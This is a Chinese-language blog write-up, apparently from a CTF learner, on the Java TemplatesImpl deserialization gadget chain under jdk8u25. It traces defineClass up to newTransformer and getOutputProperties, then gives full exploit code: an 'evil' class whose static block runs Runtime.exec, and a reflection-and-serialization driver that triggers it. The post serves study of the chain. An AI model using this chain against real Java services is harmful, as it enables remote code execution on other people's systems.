• 版本:jdk8u25

TemplateImp链子详解

目标函数:defineClass()

这和java的动态加载有关,正常来讲,不管是远程加载class文件,还是本地加载class或是jar文件,Java中经历的都是下面这三个方法的调用过程:

loadClass

从原有的加载过的代码中寻找类,如果找到了直接加载,没有就调用下一个函数。

这个函数会进行双亲委派(委托父加载器加载)

若父加载器无法加载,则调用 findClass()

findClass

从url里面找类的字节码,找到了提交给defineClass

defineClass

将findClass()提交过来的字节码直接转换成类对象

其中最重要的莫过于defineClass,因为无论在哪,只要传入了类的字节码,就可以将其转换成类

PS

defineClass() 只是定义类,并不会自动执行其中的代码

仅仅调用 defineClass() 是不会触发任何的方法的

只有在被实例化后,被注册的类才会执行静态恶意代码

链子

而在TemplateImp里面正好调用了这个函数:

是defineTransletClasses()调用的,再看谁调用了defineTransletClasses()


发现getTransletClasses(),getTransletIndex()和getTransletInstance() 调用了,再找谁调用了这三个个函数(之一)即可

发现没有函数调用getTransletIndex()和getTransletClasses()

但newTransformer()调用了getTransletInstance()

而在getgetTransletInstance()中有这么一段代码:
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

实例化了之前注册的类,会触发静态代码

那么就很完美了,因为newTransformer()只要实例化就会立即执行,在此之外,如果没有实例化的方法,还可继续找链子。

发现getOutputProperties()调用了newTransformer()

那么现在就用两种出发方式,两条链子。

  • newTransformer()->getTransletInstance()->defineTransletClasses()->defineClass() 由实例化触发
  • getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()->defineClass() 由getter函数触发

代码解析

第一条链子

首先从第一条链子开始,newTransformer会直接触发getTransletInstance

再看getTransletInstance:

1
2
3
4
5
6
7
8
9
private synchronized Class[] getTransletClasses() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _class;
}

需要_name不能为空,_class属性为空即可触发defineTransletClasses

再看defineTransletInstance:

1
2
3
4
5
6
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

这是defineClass前面的代码,要让他成功执行才能继续往下,而这里调用了_tfactory属性的getExternalExtensionsMap()函数,所以

private transient TransformerFactoryImpl _tfactory = null;

所以_tfactory必须是成功实例化过的TransformerFactoryImpl,但是他被transient修饰过,意思是不能被序列化,所以得另求他路。我们全局搜索_tfactory参数,发现:

再readObject()函数中_tfactory被直接赋值成了实例化过的TransformerFactoryImpl类

那么就解决了,不用管他就行。

再往后看:

1
2
3
4
5
6
7
8
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}

这段代码定义了superClsss为前面动态加载出的类的父类,再判断是否为抽象类,不是则执行:

_auxClasses.put(_class[i].getName(), _class[i]);

因为我们前面保证了_class为空,所以这里必定报错

所以还得保证加载的字节码类继承于抽象类

第二条链子

仅仅多了个getOutputProperties()函数,我们查看这个函数即可

发现没啥特殊的,和第一条链子的限制差不多。

Exp

evil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

然后编译:
javac evil.java

exp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class exp {
public static String serialize(Object a) throws Exception{
ByteArrayOutputStream byteArrayInputStream=new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayInputStream);
out.writeObject(a);
out.flush();
out.close();
byte[] serial=byteArrayInputStream.toByteArray();
String payload= Base64.getEncoder().encodeToString(serial);
return payload;
}
public static Object unserialize(String payload) throws Exception{
byte[] bytes=Base64.getDecoder().decode(payload);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
Object obj = objectInputStream.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();

// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"Nebu1ea");

// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\templateImpTest\\src\\main\\java\\test\\evil.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1);


// 不反序列化测试 success
// // 赋值_tfactory
// Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
// _tfactoryField.setAccessible(true);
// _tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();




String payload=serialize(templates);
TemplatesImpl o= (TemplatesImpl) unserialize(payload);


// //反序列化newTransformer()测试 success
// o.newTransformer();


// 反序列化getter测试 success
o.getOutputProperties();
}
}

测试完毕

结语

这条链子是不能直接使用的,但是是很多链子的基石,比如说cc2链子。

主要用的最多的就是链子2,即getOutputProperties()触发的链子

就此结束,Ciallo~~

更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝